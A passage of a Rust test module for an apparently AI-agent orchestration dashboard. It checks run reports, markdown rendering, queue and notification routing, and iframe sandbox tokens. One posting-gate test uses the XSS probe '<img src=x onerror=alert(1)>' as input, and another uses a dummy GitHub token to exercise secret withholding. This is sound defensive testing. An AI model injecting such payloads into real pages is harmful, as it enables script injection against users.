        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
        let j_empty = res_empty.json();
        let judging_empty = j_empty["sections"]
            .as_array()
            .unwrap()
            .iter()
            .find(|s| s["kind"] == "judging")
            .expect("judging section exists");
        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
    }

    #[tokio::test]
    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
        let f = Fixture::start().await;

        let html = f.get("/").await;
        let css = f.get("/app.css").await;
        let js = f.get("/app.js").await;

        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
        assert!(
            html.headers
                .contains("content-type: text/html; charset=utf-8")
        );
        assert!(css.headers.contains("content-type: text/css"));
        assert!(js.headers.contains("content-type: text/javascript"));
        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
    }

    #[test]
    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
        let body = |name: &str| {
            let at = APP_JS
                .find(name)
                .unwrap_or_else(|| panic!("{name} missing"));
            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
        };
        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
        let note = body("function landRoundNote");
        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
        assert!(note.contains("Land round ${round}"));
        let land = body("function renderLand");
        let note_at = land
            .find("landRoundNote(pr)")
            .expect("renderLand uses the note");
        assert!(
            note_at
                < land
                    .find("roundRail(pr)")
                    .expect("renderLand uses the rail")
        );
    }

    #[test]
    fn the_runs_page_redesign_keeps_its_guards() {
        let body = |name: &str| {
            let at = APP_JS
                .find(name)
                .unwrap_or_else(|| panic!("{name} missing"));
            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
        };
        // A null child must never reach the native append (it prints "null").
        let land = body("function renderLand");
        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
        assert!(
            !land.contains("box.append("),
            "renderLand must use append()"
        );
        assert!(land.contains("append(box, ["));
        // Tabs are hash routes; the run id alone decides a reload.
        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
        assert!(
            body("function applyRoute")
                .contains("route.name !== state.route.name || route.id !== state.route.id")
        );
        // The decorative diagram is gone, the strip and its guards stay.
        assert!(!APP_JS.contains("adviseConvergeDiagram"));
        assert!(!INDEX_HTML.contains("advise-converge"));
        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
        assert!(APP_JS.contains("provisional"));
        for id in [
            "run-tab-overview",
            "run-tab-timeline",
            "run-tab-report",
            "run-report",
            "runs-scope",
        ] {
            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
        }
        assert!(!INDEX_HTML.contains("runs-tree"));
        assert!(!INDEX_HTML.contains("run-raw-panel"));
        // Fold still says it cannot be resumed.
        assert!(APP_JS.contains("resume"));
        // The unreadable-runs count stays on the page.
        assert!(APP_JS.contains("unreadable"));
    }

    #[test]
    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
        // The subtitle still counts them whatever the banner does.
        assert!(APP_JS.contains("unreadable` : null"));
    }

    #[test]
    fn blocked_run_detail_exposes_the_failed_gate_reason() {
        let mut state = RunState::new(
            "/repo".into(),
            "main".into(),
            "abc".into(),
            "task".into(),
            crate::config::Config::default(),
        );
        state.status = RunStatus::Blocked;
        state.gate_ran = true;
        state.gate.push(crate::run::CommandOutcome {
            command: "cargo make check".into(),
            code: Some(1),
            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
            duration_ms: 0,
            resource_blocked: false,
        });
        let view = RunDetailView::of(
            state,
            false,
            crate::run::Liveness::Unknown,
            None,
            None,
            None,
        );
        let value = serde_json::to_value(view).unwrap();
        assert_eq!(
            value["stop_reason"],
            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
        );
    }

    #[test]
    fn the_run_detail_payload_says_whether_the_run_is_done() {
        // `landView` reads `run.done`; the detail response must carry it.
        for (status, done) in [
            (RunStatus::Superseded, true),
            (RunStatus::Blocked, true),
            (RunStatus::Landing, false),
        ] {
            let mut state = RunState::new(
                std::path::PathBuf::from("/repo"),
                "main".to_owned(),
                "abc".to_owned(),
                "x".to_owned(),
                crate::config::Config::default(),
            );
            state.status = status;
            let v = serde_json::to_value(RunDetailView::of(
                state,
                false,
                crate::run::Liveness::Unknown,
                None,
                None,
                None,
            ))
            .unwrap();
            assert_eq!(v["done"], done, "{status:?}");
        }
    }

    /// The first node of a markdown block holds a `strong` somewhere.
    fn has_strong(nodes: &[md::Node]) -> bool {
        serde_json::to_string(nodes).unwrap().contains("strong")
    }

    #[test]
    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
        let mut state = RunState::new(
            std::path::PathBuf::from("/repo"),
            "main".to_owned(),
            "abc".to_owned(),
            "x".to_owned(),
            crate::config::Config::default(),
        );
        let proposal = |approach: &str| {
            serde_json::json!({
                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
            })
        };
        state.advice = Some(
            serde_json::from_value(serde_json::json!({
                "records": [
                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
                     "proposal": proposal("do **this**")},
                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
                ],
                "synthesis": "- one\n- **two**\n\n`code`",
            }))
            .unwrap(),
        );
        state.candidates = serde_json::from_value(serde_json::json!([
            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
             "summary": "did **it**"},
            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
        ]))
        .unwrap();
        // Recorded in ascending severity, the reverse of how the page sorts
        // them: the arrays must follow the record, not the display.
        state.reviews = serde_json::from_value(serde_json::json!([{
            "round": 1, "head": "h",
            "reviews": [{
                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
                "findings": [
                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
                ],
            }],
            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
            "fix": {"agent": "a", "notes": "fixed **it**",
                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
        }, {"round": 2, "head": "h2", "reviews": []}]))
        .unwrap();

        let v = serde_json::to_value(RunDetailView::of(
            state,
            false,
            crate::run::Liveness::Unknown,
            None,
            None,
            None,
        ))
        .unwrap();

        let strong = |p: &str| {
            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
            assert!(n.to_string().contains("strong"), "{p}: {n}");
        };
        strong("/advice_md/synthesis");
        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
        strong("/advice_md/approaches/0");
        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
        strong("/candidate_summaries_md/0");
        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
        strong("/reviews_md/0/reviewers/0/summary");
        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
        assert!(f[1].to_string().contains("strong"));
        strong("/reviews_md/0/reconsideration/0");
        strong("/reviews_md/0/fix/notes");
        strong("/reviews_md/0/fix/rejected/0");
        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
        // The raw strings stay, and no schema moved.
        assert_eq!(v["candidates"][0]["summary"], "did **it**");
        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
    }

    #[test]
    fn a_run_without_advice_has_no_advice_md() {
        let state = RunState::new(
            std::path::PathBuf::from("/repo"),
            "main".to_owned(),
            "abc".to_owned(),
            "x".to_owned(),
            crate::config::Config::default(),
        );
        let p = run_prose_md(&state);
        assert!(p.advice_md.is_none());
        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
    }

    #[test]
    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
        let store = ask::Questions::at(PathBuf::from("unused"));
        let gt = crate::github_text::Withheld {
            title: false,
            body: true,
            categories: vec!["sensitive-data".into()],
        };
        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
        let (detail, comparison) =
            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
        let mut q = Question::new(
            "r".into(),
            "github-text".into(),
            "posting-gate".into(),
            "s".into(),
            detail,
            Vec::new(),
        );
        assert!(
            QuestionView::of(q.clone(), &store, false)
                .posting_view
                .is_none()
        );
        q.posting_comparison = Some(comparison);
        let view = QuestionView::of(q.clone(), &store, false);
        let field = &view.posting_view.unwrap().fields[0];
        assert_eq!(
            field
                .original
                .iter()
                .map(|f| f.text.as_str())
                .collect::<String>(),
            body
        );
        assert!(field.original[0].text.starts_with("<img"));
        let original_question: Question =
            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
        assert_eq!(original_question, q);
        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
            .original
            .start = 1;
        assert!(
            QuestionView::of(q.clone(), &store, false)
                .posting_view
                .is_none()
        );
        q.posting_comparison = original_question.posting_comparison;
        q.detail.push_str("extra context");
        assert!(
            QuestionView::of(q.clone(), &store, false)
                .posting_view
                .is_some()
        );
        q.detail.insert(0, 'x');
        assert!(QuestionView::of(q, &store, false).posting_view.is_none());
    }

    #[test]
    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
        let store = ask::Questions::at(PathBuf::from("unused"));
        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
        let gt = crate::github_text::Withheld::from_check(
            &crate::github_text::check("fix: x", body),
            "fix: x",
            body,
        )
        .unwrap();
        let (detail, comparison) =
            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
        let mut q = Question::new(
            "r".into(),
            "github-text".into(),
            "posting-gate".into(),
            "s".into(),
            detail,
            Vec::new(),
        );
        q.posting_comparison = Some(comparison);
        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
        let field = &value["posting_view"]["fields"][0];
        let group = &field["replacement_group"];
        let triggers = group["triggers"].as_array().unwrap();
        assert_eq!(triggers.len(), 2);
        assert_ne!(triggers[0], triggers[1]);
        for id in triggers {
            assert!(
                field["original"]
                    .as_array()
                    .unwrap()
                    .iter()
                    .any(|f| &f["pair"] == id)
            );
            assert!(
                !field["changed"]
                    .as_array()
                    .unwrap()
                    .iter()
                    .any(|f| &f["pair"] == id)
            );
        }
        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
            group["id"].as_u64().unwrap() as usize;
        assert!(
            QuestionView::of(q, &store, false).posting_view.is_none(),
            "group and trigger IDs cannot collide"
        );
    }

    #[test]
    fn a_question_view_carries_markdown_for_each_thread_turn() {
        let home = TempDir::new().unwrap();
        let store = ask::Questions::at(home.path().join("questions"));
        let mut q = Question::new(
            "run".to_owned(),
            "implement".to_owned(),
            "impl-A".to_owned(),
            "which?".to_owned(),
            String::new(),
            Vec::new(),
        );
        q.say("plain words").unwrap();
        q.reply("use **this**", Vec::new()).unwrap();
        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
        let bodies = &v["thread_bodies_md"];
        assert_eq!(bodies.as_array().unwrap().len(), 2);
        assert!(!bodies[0].to_string().contains("strong"));
        assert!(bodies[1].to_string().contains("strong"));
    }

    #[test]
    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
        let home = TempDir::new().unwrap();
        let store = ask::Questions::at(home.path().join("questions"));
        let mut q = Question::new(
            "run".to_owned(),
            "conduct".to_owned(),
            "conduct".to_owned(),
            "which?".to_owned(),
            String::new(),
            Vec::new(),
        );
        q.say("plain words").unwrap();
        q.thread.push(ask::Turn {
            who: ask::Who::Agent,
            body: "Settled as `merge`".to_owned(),
            at: jiff::Timestamp::now(),
            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
        });
        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
        let notes = &v["thread_notes_md"];
        assert_eq!(notes.as_array().unwrap().len(), 2);
        assert!(notes[0].is_null());
        let text = notes[1].to_string();
        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
        assert!(APP_JS.contains("ask-turn-note"));
    }

    #[test]
    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
        // The land panel defers to `run.status` for merged, and labels a
        // recorded-open PR on any finished run (superseded, blocked, ...) as
        // last seen, never as live state.
        assert!(APP_JS.contains("function landView(run, raw) {"));
        assert!(
            APP_JS.contains(
                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
            )
        );
        assert!(APP_JS.contains("const pr = landView(run, raw);"));
        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
    }

    #[test]
    fn live_runs_are_never_hidden_or_folded_as_superseded() {
        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
    }

    #[test]
    fn review_rounds_label_a_distinct_verified_head() {
        assert!(APP_JS.contains("round.verified_head"));
        assert!(APP_JS.contains("verified HEAD"));
        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
    }

    #[test]
    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
        // A blocked task's chip and note must not fall back to a queued-like
        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
        // itself by e11fc58 but never checked here.
        assert!(APP_JS.contains("blocked: { glyph:"));
        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));

        // `blocked_by` mixes task ids and question ids in the same list, and
        // the client can only tell them apart by checking each id against
        // what it actually knows - never by guessing from the id's shape.
        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
        assert!(
            APP_JS.contains(
                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
            ),
            "the note line must name what a blocked task is waiting on, not just that it is blocked"
        );
        // The classification must key off `status_str`, never off `blocked_by`
        // or `block_reason` merely being present - both can survive briefly
        // on a task a hold or a dead daemon just moved off `blocked`.
        assert!(APP_JS.contains("if (status === \"blocked\") {"));

        // A question a task is blocked on gets its own node in the same
        // dependency graph, not just a task-shaped node with nothing known
        // about it.
        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
        assert!(
            APP_JS.contains("location.hash = \"#/questions\";"),
            "a question node must jump to the Questions screen, not pretend to be a task"
        );

        // `Task::answers` - decisions already made - are shown as a record on
        // the card, the same disclosure style as the full instruction.
        assert!(APP_JS.contains("Resolved questions"));
        assert!(APP_JS.contains("r.answersList.append("));
        assert!(APP_CSS.contains(".task-answers"));
        {
            let start = APP_JS
                .find("function updateTalkTaskRow")
                .expect("updateTalkTaskRow");
            let body = &APP_JS[start..];
            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
            assert!(
                body.contains(
                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
                ),
                "a chat-filed task row must link to the task page"
            );
            assert!(
                !body.contains("#/runs/") && !body.contains("#/queue/"),
                "the row must not branch to a run or the queue card"
            );
            assert!(APP_CSS.contains(".talk-task-link"));
        }
    }

    #[test]
    fn a_task_notification_links_to_the_task_page() {
        // A task notice opens the task detail page, not the Backlog card.
        let start = APP_JS
            .find("function noticeLink(")
            .expect("noticeLink exists");
        let body = &APP_JS[start..];
        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
        assert!(
            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
            "a task notice's link must target the task page"
        );
        assert!(
            !body.contains("#/queue/"),
            "regression: the task link must not go back to the Backlog route"
        );
        assert!(
            APP_JS.contains(
                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
            ),
            "`#/tasks/<id>` must parse into the task route"
        );

        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
        assert!(
            APP_JS.contains(
                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
            ),
            "`#/queue/<id>` must parse into a route carrying that id"
        );

        // And the Backlog view has to actually land on the card once it can
        // - see consumeQueueFocus(), which renderQueue() calls on every pass
        // so a focus set before the queue has loaded is retried once it has.
        assert!(APP_JS.contains("state.queueFocus = route.id;"));
        assert!(APP_JS.contains("function consumeQueueFocus()"));
        assert!(APP_JS.contains("jumpToTask(id)"));
    }

    /// Chat rows are two lines at every width: the title alone, then the
    /// shrinkable secondary info.
    #[test]
    fn chat_rows_put_the_title_alone_on_the_first_line() {
        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
        assert!(APP_CSS.contains(
            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
        ));
        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
        assert!(APP_JS.contains("class: \"badge talk-unread\""));
    }

    #[test]
    fn run_rows_put_the_title_alone_on_the_first_line() {
        assert!(
            APP_CSS.contains(
                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
            )
        );
        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
        assert!(APP_JS.contains("class: \"card run-card\""));
        assert!(APP_JS.contains("class: \"repo run-id\""));
    }

    /// Wide screens get a master/detail layout built from the views a phone
    /// drills into. These are string assertions: they pin the contract between
    /// the three assets, not how it looks.
    #[test]
    fn wide_screens_show_list_and_preview_side_by_side() {
        // One breakpoint, spelled the same in the script and the stylesheet.
        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
        assert!(APP_CSS.contains("main[data-split]"));
        assert!(APP_CSS.contains("body[data-split]"));

        // The route -> panes table, and a narrow screen opting out of it.
        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
        assert!(
            APP_JS.contains(
                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
            )
        );
        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
        assert!(INDEX_HTML.contains("id=\"split-empty\""));

        // Selection is derived from the route, and only ever paints a row.
        assert!(APP_JS.contains("function markSelected() {"));
        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
        // The dense row must override the stacked card the 720px block sets up.
        assert!(
            APP_CSS.contains(
                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
            )
        );

        // Independent scrolling: the page stops scrolling, each pane does.
        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));

        // A refresh must never navigate: the loaders still check that their
        // subject is the one on screen, and crossing the breakpoint only
        // re-reads the hash.
        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
        assert!(APP_JS.contains("const relayout = () => applyRoute();"));

        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
    }

    #[test]
    fn panel_sandbox_carries_exactly_popups() {
        let needle = "sandbox: \"";
        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
        assert_eq!(
            matches.len(),
            1,
            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
        );
        let start = matches[0].0 + needle.len();
        let end = APP_JS[start..]
            .find('"')
            .expect("sandbox attribute value must be terminated by a closing quote");
        let val = &APP_JS[start..start + end];
        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
        let expected: std::collections::BTreeSet<&str> =
            ["allow-popups", "allow-popups-to-escape-sandbox"]
                .into_iter()
                .collect();
        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
        assert!(
            !tokens.contains("allow-scripts"),
            "allow-scripts must never be present in sandbox"
        );
        assert!(
            !tokens.contains("allow-same-origin"),
            "allow-same-origin must never be present in sandbox"
        );
    }

    #[test]
    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
        // consumeQueueFocus() clears an active Backlog search before it can
        // scroll to the target card (the sections list is hidden while a
        // search is showing), by recursing back into renderQueue(). The
        // fixer's first cut nulled state.queueFocus before that recursive
        // call, so the second pass saw nothing to jump to and the jump was
        // silently dropped whenever a notification's link was opened with a
        // stale search still active. state.queueFocus must only be cleared
        // right before jumpToTask() actually runs.
        assert!(
            APP_JS.contains(
                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
            ),
            "the search-clearing branch must run before state.queueFocus is cleared, or the \
             recursive renderQueue() call has nothing left to jump to"
        );
        assert!(
            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
            "state.queueFocus must be cleared only once the jump has landed, so a card that \
             arrives later still gets it"
        );
        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
        assert!(APP_JS.contains("is not in the current Backlog."));
        assert!(APP_JS.contains("li.card[data-task-id=\""));
        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
        assert!(APP_CSS.contains(".card-permalink"));
        assert!(APP_CSS.contains(".queue-focus-status"));
        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
    }

    #[test]
    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
        // The task's own repro: only the link text inside .notice-meta was
        // clickable, so a tap on the message, the timestamp, or the card's
        // padding did nothing - on a phone that reads as "the card doesn't
        // work" even though the tiny link inside it did. Mark read / Dismiss
        // must keep working independently of this: `.closest("a, button")`
        // is what lets a tap that actually lands on those elements fall
        // through instead of being hijacked into a navigation.
        assert!(
            APP_JS.contains(
                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
            ),
            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
        );
    }

    #[test]
    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
        assert!(
            APP_JS.contains("round.verified_head !== round.head"),
            "a round that verified an earlier commit must be visibly distinct from one that \
             verified the head reviewers are looking at now"
        );
        assert!(
            APP_JS.contains("round.verified_at"),
            "when a check ran must be on the wire, not just which commit"
        );
        assert!(
            APP_JS.contains("resource_blocked"),
            "a command magi never got to run (shared build cache contention) must not render \
             the same as a command that ran and failed"
        );
    }

    #[test]
    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
        // Every KPI tile but Total runs and Completion names an exact
        // RunStatus and hands it to openRunsFiltered(), which is what wires
        // the click into state.runsFilter.status (matchesFilter's own
        // status check) rather than the coarser runsStateFilter chips. Each
        // status literal here must be one of the strings runSection() (and
        // isStale()) actually compare a run's own `status` field against -
        // a status this dashboard invented would filter to nothing.
        assert!(
            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
            "every KPI tile built through statusTile() must route its click through \
             openRunsFiltered, the single place that sets the Runs filter"
        );
        for (label, status) in [
            ("Merged", "merged"),
            ("Ready", "ready"),
            ("Blocked", "blocked"),
            ("Stalled", "stalled"),
        ] {
            let call = format!("statusTile(\"{label}\", t.{status}, ");
            assert!(
                APP_JS.contains(&call),
                "expected the {label} KPI tile built via {call}..."
            );
            assert!(
                APP_JS.contains(&format!("status === \"{status}\"")),
                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
                 compare a run against, not one invented only for the stats tile"
            );
        }
        assert!(
            APP_JS.contains("function openRunsFiltered(status)"),
            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
        );
        assert!(
            APP_JS.contains(
                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
            ),
            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
        );
        // applyRoute() only flips which view is visible for a plain `#runs`
        // hash - it does not itself redraw the list (see applyRoute's own
        // handling below) - so openRunsFiltered must call renderRuns()
        // itself, and must call applyRoute() too so the view flips even
        // when the hash string doesn't change (the operator may already be
        // on the Runs view when a tile is tapped, which fires no
        // hashchange event at all).
        assert!(
            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
             hashchange event that may never fire"
        );
    }

    #[test]
    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
        // A stats tile can leave state.runsFilter.status set to something
        // done-by-construction (e.g. "merged") - picking "Active" afterward
        // must drop it the same way an incompatible tree section is already
        // dropped, or the Runs list renders permanently empty with no way
        // for the operator to tell why.
        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
        assert!(
            APP_JS.contains(
                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
            ),
            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
             guard for an incompatible tree section"
        );
    }

    #[test]
    fn every_stats_queue_tile_names_a_real_queue_section() {
        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
        // (consumeQueueSectionFocus finds no matching <details> and drops
        // the focus) rather than fail loudly, so pin every key against the
        // section list it has to resolve against.
        assert!(
            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
            "every queue tile built through sectionTile() must route its click through \
             openQueueSectionFocus"
        );
        for key in ["upnext", "running", "done", "held", "blocked"] {
            assert!(
                APP_JS.contains(&format!("{{ key: \"{key}\",")),
                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
            );
        }
        // Queued and Failed intentionally both resolve to "upnext" - the
        // same section queueSection() itself files them under - rather than
        // getting a section each.
        for line in [
            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
        ] {
            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
        }
    }

    #[test]
    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
        // above for the section-focus channel a stats queue tile drives:
        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
        // through the stale-search-clear recursion into renderQueue(), and
        // clear it only once revealQueueSection() is actually about to run -
        // the same trap that once silently dropped a task-focus jump.
        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
        assert!(APP_JS.contains("function revealQueueSection(details)"));
        assert!(
            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
            "renderQueue() must consume both focus channels on every pass"
        );
        assert!(
            APP_JS.contains(
                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
            ),
            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
             the recursive renderQueue() call has nothing left to reveal"
        );
        assert!(
            APP_JS.contains(
                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
            ),
            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
        );
        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
        // task-focus form of the hash - a plain `#queue` navigation only
        // flips which view is visible. openQueueSectionFocus() must
        // therefore call renderQueue() itself, and applyRoute() too so the
        // view flips even when the hash doesn't change (the Backlog may
        // already be open when a tile is tapped, firing no hashchange
        // event at all).
        assert!(
            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
             hashchange event that may never fire"
        );
    }

    #[tokio::test]
    async fn the_change_stream_announces_the_current_revisions_on_connect() {
        let f = Fixture::start().await;

        let mut socket = tokio::net::TcpStream::connect(f.addr)
            .await
            .expect("connect");
        socket
            .write_all(
                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
            )
            .await
            .expect("write request");

